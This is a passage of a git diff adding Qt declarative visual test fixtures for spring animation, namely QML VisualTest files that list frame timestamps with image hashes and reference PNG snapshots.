+ hash: "d927934b19ffd55ea7cea1916983351a"
+ }
+ Frame {
+ msec: 6224
+ hash: "ae5058d935c1e44d103be66921b19e77"
+ }
+ Frame {
+ msec: 6240
+ hash: "b6a1446b6be054d5785ba52ac23f8aa8"
+ }
+ Frame {
+ msec: 6256
+ hash: "3dffbffded44249fdbe58aecd24ab97f"
+ }
+ Frame {
+ msec: 6272
+ hash: "56445ab8554a23a786b70e4fd9f40451"
+ }
+ Frame {
+ msec: 6288
+ hash: "56445ab8554a23a786b70e4fd9f40451"
+ }
+ Frame {
+ msec: 6304
+ hash: "257ce16f529b99f28beb2e57625f52ee"
+ }
+ Frame {
+ msec: 6320
+ hash: "257ce16f529b99f28beb2e57625f52ee"
+ }
+ Frame {
+ msec: 6336
+ hash: "257ce16f529b99f28beb2e57625f52ee"
+ }
+ Frame {
+ msec: 6352
+ hash: "257ce16f529b99f28beb2e57625f52ee"
+ }
+ Frame {
+ msec: 6368
+ hash: "257ce16f529b99f28beb2e57625f52ee"
+ }
+ Frame {
+ msec: 6384
+ hash: "cb2b0ddbc7b8485fbf32a537e5a98d0e"
+ }
+ Frame {
+ msec: 6400
+ hash: "cb2b0ddbc7b8485fbf32a537e5a98d0e"
+ }
+ Frame {
+ msec: 6416
+ hash: "cb2b0ddbc7b8485fbf32a537e5a98d0e"
+ }
+ Frame {
+ msec: 6432
+ hash: "cb2b0ddbc7b8485fbf32a537e5a98d0e"
+ }
+ Frame {
+ msec: 6448
+ hash: "cb2b0ddbc7b8485fbf32a537e5a98d0e"
+ }
+ Frame {
+ msec: 6464
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6480
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6496
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6512
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6528
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6544
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6560
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6576
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6592
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6608
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6624
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6640
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6656
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6672
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6688
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6704
+ hash: "da52e87ccd157c0330c07e480b8b0c06"
+ }
+ Frame {
+ msec: 6720
+ hash: "da52e87ccd157c0330c07e480b8b0c06"
+ }
+ Frame {
+ msec: 6736
+ image: "follow.7.png"
+ }
+ Frame {
+ msec: 6752
+ hash: "da52e87ccd157c0330c07e480b8b0c06"
+ }
+ Frame {
+ msec: 6768
+ hash: "da52e87ccd157c0330c07e480b8b0c06"
+ }
+ Frame {
+ msec: 6784
+ hash: "da52e87ccd157c0330c07e480b8b0c06"
+ }
+ Frame {
+ msec: 6800
+ hash: "da52e87ccd157c0330c07e480b8b0c06"
+ }
+ Frame {
+ msec: 6816
+ hash: "da52e87ccd157c0330c07e480b8b0c06"
+ }
+ Frame {
+ msec: 6832
+ hash: "257ce16f529b99f28beb2e57625f52ee"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6848
+ hash: "56445ab8554a23a786b70e4fd9f40451"
+ }
+ Frame {
+ msec: 6864
+ hash: "56445ab8554a23a786b70e4fd9f40451"
+ }
+ Frame {
+ msec: 6880
+ hash: "56445ab8554a23a786b70e4fd9f40451"
+ }
+ Frame {
+ msec: 6896
+ hash: "56445ab8554a23a786b70e4fd9f40451"
+ }
+ Frame {
+ msec: 6912
+ hash: "56445ab8554a23a786b70e4fd9f40451"
+ }
+ Frame {
+ msec: 6928
+ hash: "56445ab8554a23a786b70e4fd9f40451"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/clock.0.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/clock.0.png
new file mode 100644
index 00000000..a3bb3ac1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/clock.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/clock.1.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/clock.1.png
new file mode 100644
index 00000000..f159b6b2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/clock.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/clock.2.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/clock.2.png
new file mode 100644
index 00000000..d24af1aa
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/clock.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/clock.qml b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/clock.qml
new file mode 100644
index 00000000..2e8337ec
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/clock.qml
@@ -0,0 +1,615 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "clock.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "cb33c89e5108c85e43b53489d1255862"
+ }
+ Frame {
+ msec: 48
+ hash: "fcf631cb42237d2ce9e57ef5fef85f93"
+ }
+ Frame {
+ msec: 64
+ hash: "a9f1e24d60588ff9b565b15847669438"
+ }
+ Frame {
+ msec: 80
+ hash: "c5a07045cd24b835fdd0653db5b34f9f"
+ }
+ Frame {
+ msec: 96
+ hash: "bce3e9bfa92f81f0c8746a4777ce1b3e"
+ }
+ Frame {
+ msec: 112
+ hash: "6da93132be1be8b42aaf007306ce5990"
+ }
+ Frame {
+ msec: 128
+ hash: "8695e73f009bd20f3f3aae4a6b8f0098"
+ }
+ Frame {
+ msec: 144
+ hash: "172ece19e661999ce48053007a92f107"
+ }
+ Frame {
+ msec: 160
+ hash: "6e02e658d8873dd678dc9cc7cc8035a0"
+ }
+ Frame {
+ msec: 176
+ hash: "d8e9bad91fd91bce0310a24233ecb906"
+ }
+ Frame {
+ msec: 192
+ hash: "9c23533f0a4d47ec192bed2e48f11c60"
+ }
+ Frame {
+ msec: 208
+ hash: "9c23533f0a4d47ec192bed2e48f11c60"
+ }
+ Frame {
+ msec: 224
+ hash: "be0ee20e9eb94b80171f66fa6f1c2441"
+ }
+ Frame {
+ msec: 240
+ hash: "83b841f7ea7a5e92a21ec0d0130b4281"
+ }
+ Frame {
+ msec: 256
+ hash: "3bbf822e403f4198fbfaa6973726947d"
+ }
+ Frame {
+ msec: 272
+ hash: "172ece19e661999ce48053007a92f107"
+ }
+ Frame {
+ msec: 288
+ hash: "602ca5ac2fc928b831d8e10de01f5bf7"
+ }
+ Frame {
+ msec: 304
+ hash: "9f07659e63a5b3412ede3c8400678cc6"
+ }
+ Frame {
+ msec: 320
+ hash: "6104f86706bd11cee6b5aeef495eacfa"
+ }
+ Frame {
+ msec: 336
+ hash: "b564cfe8c73b3d51e07bbcf5320868f8"
+ }
+ Frame {
+ msec: 352
+ hash: "b2136411eee23d64718a63269071499f"
+ }
+ Frame {
+ msec: 368
+ hash: "7f610f3b80c2cf002c6565ac4b7a8325"
+ }
+ Frame {
+ msec: 384
+ hash: "5480e79cc96fdaffecb2d9dec254c8d4"
+ }
+ Frame {
+ msec: 400
+ hash: "50eea6c6f135c21ecf05fc83ad1ae9a8"
+ }
+ Frame {
+ msec: 416
+ hash: "2d3634d621782194674da127abe66039"
+ }
+ Frame {
+ msec: 432
+ hash: "285180aa632c9247c3b7aa26f5544da6"
+ }
+ Frame {
+ msec: 448
+ hash: "8695e73f009bd20f3f3aae4a6b8f0098"
+ }
+ Frame {
+ msec: 464
+ hash: "914dc6254f29a6cffc80e90a23b61130"
+ }
+ Frame {
+ msec: 480
+ hash: "a564dc3a53b607ca7e9fc6920b65abc3"
+ }
+ Frame {
+ msec: 496
+ hash: "6104f86706bd11cee6b5aeef495eacfa"
+ }
+ Frame {
+ msec: 512
+ hash: "6f34176630c5d9d421a1a31cb3b97a28"
+ }
+ Frame {
+ msec: 528
+ hash: "62199c5663263fee08ba5ce560c7429d"
+ }
+ Frame {
+ msec: 544
+ hash: "1110cb0281044eb0679e9dc373a7d063"
+ }
+ Frame {
+ msec: 560
+ hash: "0ec354101faf6603c9ca56fe82dc8ac3"
+ }
+ Frame {
+ msec: 576
+ hash: "0ec354101faf6603c9ca56fe82dc8ac3"
+ }
+ Frame {
+ msec: 592
+ hash: "1110cb0281044eb0679e9dc373a7d063"
+ }
+ Frame {
+ msec: 608
+ hash: "1110cb0281044eb0679e9dc373a7d063"
+ }
+ Frame {
+ msec: 624
+ hash: "62199c5663263fee08ba5ce560c7429d"
+ }
+ Frame {
+ msec: 640
+ hash: "1716d50c65b4319845fdc7ea1ceafe4d"
+ }
+ Frame {
+ msec: 656
+ hash: "d087befa8f95f70e33604748230d5dd5"
+ }
+ Frame {
+ msec: 672
+ hash: "7ae892fbab85d76e713ab70ca13d3f1f"
+ }
+ Frame {
+ msec: 688
+ hash: "fb069bfb88b35f9f15273e04a62a9534"
+ }
+ Frame {
+ msec: 704
+ hash: "41c69834e756bafc051ff65e149f8994"
+ }
+ Frame {
+ msec: 720
+ hash: "f0c13b542b9ee9b0c9f4ef800900db16"
+ }
+ Frame {
+ msec: 736
+ hash: "f0c13b542b9ee9b0c9f4ef800900db16"
+ }
+ Frame {
+ msec: 752
+ hash: "f0c13b542b9ee9b0c9f4ef800900db16"
+ }
+ Frame {
+ msec: 768
+ hash: "2ff4e8f394a62892adb348271435205c"
+ }
+ Frame {
+ msec: 784
+ hash: "2ff4e8f394a62892adb348271435205c"
+ }
+ Frame {
+ msec: 800
+ hash: "2ff4e8f394a62892adb348271435205c"
+ }
+ Frame {
+ msec: 816
+ hash: "2ff4e8f394a62892adb348271435205c"
+ }
+ Frame {
+ msec: 832
+ hash: "2ff4e8f394a62892adb348271435205c"
+ }
+ Frame {
+ msec: 848
+ hash: "2ff4e8f394a62892adb348271435205c"
+ }
+ Frame {
+ msec: 864
+ hash: "2ff4e8f394a62892adb348271435205c"
+ }
+ Frame {
+ msec: 880
+ hash: "2ff4e8f394a62892adb348271435205c"
+ }
+ Frame {
+ msec: 896
+ hash: "2ff4e8f394a62892adb348271435205c"
+ }
+ Frame {
+ msec: 912
+ hash: "2ff4e8f394a62892adb348271435205c"
+ }
+ Frame {
+ msec: 928
+ hash: "2ff4e8f394a62892adb348271435205c"
+ }
+ Frame {
+ msec: 944
+ hash: "2ff4e8f394a62892adb348271435205c"
+ }
+ Frame {
+ msec: 960
+ hash: "2ff4e8f394a62892adb348271435205c"
+ }
+ Frame {
+ msec: 976
+ image: "clock.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "2ff4e8f394a62892adb348271435205c"
+ }
+ Frame {
+ msec: 1008
+ hash: "2ff4e8f394a62892adb348271435205c"
+ }
+ Frame {
+ msec: 1024
+ hash: "2ff4e8f394a62892adb348271435205c"
+ }
+ Frame {
+ msec: 1040
+ hash: "0ec9e1163fe8284ab27aa55f94bf3b14"
+ }
+ Frame {
+ msec: 1056
+ hash: "9b6efbb358b1c7928e005620a60ab4a9"
+ }
+ Frame {
+ msec: 1072
+ hash: "5be6fe791a3bb6f72a6c6a3d1e2fa86e"
+ }
+ Frame {
+ msec: 1088
+ hash: "41fefdc45bd52600f7f108d4163d484b"
+ }
+ Frame {
+ msec: 1104
+ hash: "45828a5bef6c4ad4d274c0ea46f72e44"
+ }
+ Frame {
+ msec: 1120
+ hash: "17f0925ae38ee4c523713592d6b9f541"
+ }
+ Frame {
+ msec: 1136
+ hash: "ed3acc723c29321751702903b57a557a"
+ }
+ Frame {
+ msec: 1152
+ hash: "ded71422852eec4464f54e9c1b01b28a"
+ }
+ Frame {
+ msec: 1168
+ hash: "0318d105aa5f7d3bebb0d24a85065f90"
+ }
+ Frame {
+ msec: 1184
+ hash: "9abe4cb4e8ff6ffafd993b10ac55aad9"
+ }
+ Frame {
+ msec: 1200
+ hash: "b92dba35b477ce11822277ba64582232"
+ }
+ Frame {
+ msec: 1216
+ hash: "3a9a6106e1f12ffbc81ae9d4b30376fe"
+ }
+ Frame {
+ msec: 1232
+ hash: "4647b6e6c95e3339094c7e2641458137"
+ }
+ Frame {
+ msec: 1248
+ hash: "0977f3ed3ab6426423f7a7bfb0bd1726"
+ }
+ Frame {
+ msec: 1264
+ hash: "930002bcd6986af36678d23c3dc17330"
+ }
+ Frame {
+ msec: 1280
+ hash: "ded71422852eec4464f54e9c1b01b28a"
+ }
+ Frame {
+ msec: 1296
+ hash: "16164138479aed4db7fd9a1c785556cb"
+ }
+ Frame {
+ msec: 1312
+ hash: "0b884e6a8a1c93d62fcee037f9ad8745"
+ }
+ Frame {
+ msec: 1328
+ hash: "dd1323c721a0ede74910c16df4b47074"
+ }
+ Frame {
+ msec: 1344
+ hash: "ed3acc723c29321751702903b57a557a"
+ }
+ Frame {
+ msec: 1360
+ hash: "e8c528178425f7c6089ed6d094e734fb"
+ }
+ Frame {
+ msec: 1376
+ hash: "f2954641b11004bc4d29a217791e3833"
+ }
+ Frame {
+ msec: 1392
+ hash: "5d4d4086c4aebf04eb5b0045cf9a36a8"
+ }
+ Frame {
+ msec: 1408
+ hash: "f2954641b11004bc4d29a217791e3833"
+ }
+ Frame {
+ msec: 1424
+ hash: "c2e47da0e709c9ddeee01ae29d3ad059"
+ }
+ Frame {
+ msec: 1440
+ hash: "e539f0142b3f6c2f7de084ddedbe979e"
+ }
+ Frame {
+ msec: 1456
+ hash: "ed3acc723c29321751702903b57a557a"
+ }
+ Frame {
+ msec: 1472
+ hash: "ae191ede94be250b60744d81179c5054"
+ }
+ Frame {
+ msec: 1488
+ hash: "f985b1ab4feae3bd7066e15bdd026c1a"
+ }
+ Frame {
+ msec: 1504
+ hash: "dd1323c721a0ede74910c16df4b47074"
+ }
+ Frame {
+ msec: 1520
+ hash: "c99c541e424ebe82f1cceea204f3ffdc"
+ }
+ Frame {
+ msec: 1536
+ hash: "dcdeb76d6e4c676e736ec9fcf68f993b"
+ }
+ Frame {
+ msec: 1552
+ hash: "599bfdb42d46a31bf8639e7b1c89526b"
+ }
+ Frame {
+ msec: 1568
+ hash: "bef384984df19143de0c290a6621146d"
+ }
+ Frame {
+ msec: 1584
+ hash: "bef384984df19143de0c290a6621146d"
+ }
+ Frame {
+ msec: 1600
+ hash: "04192a5408bc1aff5431b4ea0be94b27"
+ }
+ Frame {
+ msec: 1616
+ hash: "8da64659fb7f532eac43a67accd319ee"
+ }
+ Frame {
+ msec: 1632
+ hash: "dcdeb76d6e4c676e736ec9fcf68f993b"
+ }
+ Frame {
+ msec: 1648
+ hash: "fba3a7729e46d8e78d203188ef29d829"
+ }
+ Frame {
+ msec: 1664
+ hash: "c99c541e424ebe82f1cceea204f3ffdc"
+ }
+ Frame {
+ msec: 1680
+ hash: "c99c541e424ebe82f1cceea204f3ffdc"
+ }
+ Frame {
+ msec: 1696
+ hash: "a3e6173e6d82d2cb52149588b32851e4"
+ }
+ Frame {
+ msec: 1712
+ hash: "7f62ba22b5567d4ea96725a6215ff98a"
+ }
+ Frame {
+ msec: 1728
+ hash: "a21cc4fa347929fd816ad36f4b33efab"
+ }
+ Frame {
+ msec: 1744
+ hash: "a21cc4fa347929fd816ad36f4b33efab"
+ }
+ Frame {
+ msec: 1760
+ hash: "a21cc4fa347929fd816ad36f4b33efab"
+ }
+ Frame {
+ msec: 1776
+ hash: "a3e6173e6d82d2cb52149588b32851e4"
+ }
+ Frame {
+ msec: 1792
+ hash: "a3e6173e6d82d2cb52149588b32851e4"
+ }
+ Frame {
+ msec: 1808
+ hash: "a3e6173e6d82d2cb52149588b32851e4"
+ }
+ Frame {
+ msec: 1824
+ hash: "a3e6173e6d82d2cb52149588b32851e4"
+ }
+ Frame {
+ msec: 1840
+ hash: "a3e6173e6d82d2cb52149588b32851e4"
+ }
+ Frame {
+ msec: 1856
+ hash: "a3e6173e6d82d2cb52149588b32851e4"
+ }
+ Frame {
+ msec: 1872
+ hash: "a3e6173e6d82d2cb52149588b32851e4"
+ }
+ Frame {
+ msec: 1888
+ hash: "a3e6173e6d82d2cb52149588b32851e4"
+ }
+ Frame {
+ msec: 1904
+ hash: "a3e6173e6d82d2cb52149588b32851e4"
+ }
+ Frame {
+ msec: 1920
+ hash: "a3e6173e6d82d2cb52149588b32851e4"
+ }
+ Frame {
+ msec: 1936
+ image: "clock.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "a3e6173e6d82d2cb52149588b32851e4"
+ }
+ Frame {
+ msec: 1968
+ hash: "a3e6173e6d82d2cb52149588b32851e4"
+ }
+ Frame {
+ msec: 1984
+ hash: "a3e6173e6d82d2cb52149588b32851e4"
+ }
+ Frame {
+ msec: 2000
+ hash: "a3e6173e6d82d2cb52149588b32851e4"
+ }
+ Frame {
+ msec: 2016
+ hash: "a3e6173e6d82d2cb52149588b32851e4"
+ }
+ Frame {
+ msec: 2032
+ hash: "dba66886121f802a4a49ee1e220279db"
+ }
+ Frame {
+ msec: 2048
+ hash: "b43648a05b6900bd0402bb56c98692df"
+ }
+ Frame {
+ msec: 2064
+ hash: "8213e39455c952a589a90eea0040edfe"
+ }
+ Frame {
+ msec: 2080
+ hash: "0d72dcbb2de67c84c0cf802e1de2b32b"
+ }
+ Frame {
+ msec: 2096
+ hash: "db5b4994b46f3e0de86149af8b99abb6"
+ }
+ Frame {
+ msec: 2112
+ hash: "440f7414e3db5339f2180bf1fcdc1c55"
+ }
+ Frame {
+ msec: 2128
+ hash: "f757740304369ac45bb88657f79f304e"
+ }
+ Frame {
+ msec: 2144
+ hash: "4521da9bcf198f78f7270cca959adfe4"
+ }
+ Frame {
+ msec: 2160
+ hash: "92d602d139aedf31180f12349a1edcad"
+ }
+ Frame {
+ msec: 2176
+ hash: "4092500cb913f0c9ae49d61e53553371"
+ }
+ Frame {
+ msec: 2192
+ hash: "dee122e2c46b398c48a7ef1619683a6f"
+ }
+ Frame {
+ msec: 2208
+ hash: "1817fa481e8648dd092e29403b0f887e"
+ }
+ Frame {
+ msec: 2224
+ hash: "93a69d88553709c0f164b11d8d765805"
+ }
+ Frame {
+ msec: 2240
+ hash: "92d602d139aedf31180f12349a1edcad"
+ }
+ Frame {
+ msec: 2256
+ hash: "4ff6679a9615ca8bd5dd63c296cca3d5"
+ }
+ Frame {
+ msec: 2272
+ hash: "4521da9bcf198f78f7270cca959adfe4"
+ }
+ Frame {
+ msec: 2288
+ hash: "127b93b536f6266965941af5888a63dd"
+ }
+ Frame {
+ msec: 2304
+ hash: "1a3e36e44069a8bf29b73acfd8340044"
+ }
+ Frame {
+ msec: 2320
+ hash: "1065e18d2b41af8b0b5c4f5ae2a30d4d"
+ }
+ Frame {
+ msec: 2336
+ hash: "37144e92ba8c7edd2ef87ecb6525ed5f"
+ }
+ Frame {
+ msec: 2352
+ hash: "d6445d8270ddbf5fcd196b3d71393da4"
+ }
+ Frame {
+ msec: 2368
+ hash: "b55cc8bdf97531912fa1df1f379e623c"
+ }
+ Frame {
+ msec: 2384
+ hash: "fdb86be92fa17fd4e773e5fd65f249a3"
+ }
+ Frame {
+ msec: 2400
+ hash: "b55cc8bdf97531912fa1df1f379e623c"
+ }
+ Frame {
+ msec: 2416
+ hash: "eb0de8259f7a6be756102f79b5220f56"
+ }
+ Frame {
+ msec: 2432
+ hash: "5afbb87fe77112b86282252a2ffe3821"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.0.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.0.png
new file mode 100644
index 00000000..ae89849b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.1.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.1.png
new file mode 100644
index 00000000..7b7db056
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.2.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.2.png
new file mode 100644
index 00000000..7c1442f4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.3.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.3.png
new file mode 100644
index 00000000..c01c9804
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.4.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.4.png
new file mode 100644
index 00000000..8806e4c7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.5.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.5.png
new file mode 100644
index 00000000..b331119b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.6.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.6.png
new file mode 100644
index 00000000..76e3c6f4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.7.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.7.png
new file mode 100644
index 00000000..141753cd
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.qml b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.qml
new file mode 100644
index 00000000..2cbd2781
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.qml
@@ -0,0 +1,1763 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "follow.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "2ddcb50f5d285eb80a8136f0cf4cf85a"
+ }
+ Frame {
+ msec: 48
+ hash: "519d93a844e05f8215139d91c9aef58b"
+ }
+ Frame {
+ msec: 64
+ hash: "9f075a5547e4dc67cbe2ace2766395bb"
+ }
+ Frame {
+ msec: 80
+ hash: "8fc48f74a51d45b4ea1fb7bd1d48002f"
+ }
+ Frame {
+ msec: 96
+ hash: "a28fc4be5a5bb9ff36f796d9b071f02c"
+ }
+ Frame {
+ msec: 112
+ hash: "ebc14c2905f3596ec451dd96409e6001"
+ }
+ Frame {
+ msec: 128
+ hash: "4f270bdcff44006a56055edb1cda522a"
+ }
+ Frame {
+ msec: 144
+ hash: "571f347e764bf38985768c85c2a13ba1"
+ }
+ Frame {
+ msec: 160
+ hash: "b1aa23268167b7e2a1190288926f52c0"
+ }
+ Frame {
+ msec: 176
+ hash: "06d548aef9a678edbf3ab4d3ce62a647"
+ }
+ Frame {
+ msec: 192
+ hash: "daf6af0ae78f39566913c656450a66e5"
+ }
+ Frame {
+ msec: 208
+ hash: "f101cd0c026ee0ed6ccef7a4aed302a0"
+ }
+ Frame {
+ msec: 224
+ hash: "b3caa673f072c53d31d71109c9b33357"
+ }
+ Frame {
+ msec: 240
+ hash: "8596f1d305d6b8f97b9feda9e69bdefe"
+ }
+ Frame {
+ msec: 256
+ hash: "23c23df2c130aafb2092fe47a958a4cd"
+ }
+ Frame {
+ msec: 272
+ hash: "66a4f2d8213264437a5f4d6cf10cd442"
+ }
+ Frame {
+ msec: 288
+ hash: "6392490111813bad0a9467cc0c1746ed"
+ }
+ Frame {
+ msec: 304
+ hash: "c115a47e0ecab63b881e2ec492d24e68"
+ }
+ Frame {
+ msec: 320
+ hash: "c2a2b57e6f9ea2975c0846124d2dbc66"
+ }
+ Frame {
+ msec: 336
+ hash: "8286c315dfda4241607b2de1154f869d"
+ }
+ Frame {
+ msec: 352
+ hash: "3f0f7cae80357176892ff7628ec3153a"
+ }
+ Frame {
+ msec: 368
+ hash: "d13bde4a5b5ed8202f92ae33913166c9"
+ }
+ Frame {
+ msec: 384
+ hash: "b70cc32134b1b0d31a5e7f145af09495"
+ }
+ Frame {
+ msec: 400
+ hash: "03ebc2ff317ac840f4508e8701d66955"
+ }
+ Frame {
+ msec: 416
+ hash: "8dff08e72365e8e2fee8088c386dedca"
+ }
+ Frame {
+ msec: 432
+ hash: "720f3bbaf3fa3e3a064747d5689e47a0"
+ }
+ Frame {
+ msec: 448
+ hash: "350e3ebfcfef96969ef5b8d5944f7e62"
+ }
+ Frame {
+ msec: 464
+ hash: "1e4e6e68b3a8eac0c5cd039164eec166"
+ }
+ Frame {
+ msec: 480
+ hash: "62a10c4250ad025139a3f9e72109e8e1"
+ }
+ Frame {
+ msec: 496
+ hash: "23cfd643adfc98f6a06c7e7b15dac954"
+ }
+ Frame {
+ msec: 512
+ hash: "3a78930d5b86b886723fad85e77dd075"
+ }
+ Frame {
+ msec: 528
+ hash: "64dc878e2f527e80403c766e61fe14a6"
+ }
+ Frame {
+ msec: 544
+ hash: "d79160989d2584044042271e79a88e69"
+ }
+ Frame {
+ msec: 560
+ hash: "22cbaea4affc88433834c7d0dc1f1644"
+ }
+ Frame {
+ msec: 576
+ hash: "77cb616902257e1f239a0e6bfaabb33c"
+ }
+ Frame {
+ msec: 592
+ hash: "a2fe73dced03b23c4acb9aae9b774b41"
+ }
+ Frame {
+ msec: 608
+ hash: "230e21d3a9ed0e185593677233af1275"
+ }
+ Frame {
+ msec: 624
+ hash: "4e10ecffac4e06d624855d3f8917f76c"
+ }
+ Frame {
+ msec: 640
+ hash: "84f49d56baace4a02e50d3eafaea04ec"
+ }
+ Frame {
+ msec: 656
+ hash: "e3cd0b334551a9f91723eb2c876d335a"
+ }
+ Frame {
+ msec: 672
+ hash: "259330f3ec390c9926d9c2ddc2d77319"
+ }
+ Frame {
+ msec: 688
+ hash: "cc659623bfa385d282d608684d7cdc2b"
+ }
+ Frame {
+ msec: 704
+ hash: "47ed75d077143a6bfa0e10158550c542"
+ }
+ Frame {
+ msec: 720
+ hash: "0de93bbd9f9ee63e97968089321003e1"
+ }
+ Frame {
+ msec: 736
+ hash: "b33d867d4399879256a01344ce0b81f2"
+ }
+ Frame {
+ msec: 752
+ hash: "97c31fce937d11f62bebc6169b464a42"
+ }
+ Frame {
+ msec: 768
+ hash: "ea4166b8a4001bca3f27af30f251267f"
+ }
+ Frame {
+ msec: 784
+ hash: "b56d270b7893565f8d7ed2a0bfe10d60"
+ }
+ Frame {
+ msec: 800
+ hash: "88a42559fe22b45cff379258dd40ced9"
+ }
+ Frame {
+ msec: 816
+ hash: "4ee1a711cb8d26087e1b75a3166ca5f0"
+ }
+ Frame {
+ msec: 832
+ hash: "9b88a00d041092e79b4a08bccbaca0e1"
+ }
+ Frame {
+ msec: 848
+ hash: "afea397b3d740dc42f0313624fc10efd"
+ }
+ Frame {
+ msec: 864
+ hash: "39fd8e4cefbd9fed283d62a7aecded22"
+ }
+ Frame {
+ msec: 880
+ hash: "916b783d2379ac054c749e7b6eae7ddf"
+ }
+ Frame {
+ msec: 896
+ hash: "fccd44740ff7ffb0f2adccf00a7588bd"
+ }
+ Frame {
+ msec: 912
+ hash: "c064f20703a13543e8273d251fd645fe"
+ }
+ Frame {
+ msec: 928
+ hash: "1b9b0755101841e3d1cbe208d81575d5"
+ }
+ Frame {
+ msec: 944
+ hash: "1eb5e4a301b565012bc8f6af8e879eb9"
+ }
+ Frame {
+ msec: 960
+ hash: "032db65eb5c405e433f88df3975c322b"
+ }
+ Frame {
+ msec: 976
+ image: "follow.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "fdb67e11d7cc767b2389a8bbef752c7e"
+ }
+ Frame {
+ msec: 1008
+ hash: "ed89cb161336c61b13e3514fdf816023"
+ }
+ Frame {
+ msec: 1024
+ hash: "331b873c5367e0aaa62af85cb54a6a96"
+ }
+ Frame {
+ msec: 1040
+ hash: "cde4503f02f0c3732e310a7d0418cd1e"
+ }
+ Frame {
+ msec: 1056
+ hash: "f8c028c591fc1495d5bec8763da6f011"
+ }
+ Frame {
+ msec: 1072
+ hash: "9dc68483218335afe41aa3cd052a98b5"
+ }
+ Frame {
+ msec: 1088
+ hash: "31105c455418a3284700cf9c88571507"
+ }
+ Frame {
+ msec: 1104
+ hash: "72724947167a1ac600aaa1d7f331f7ec"
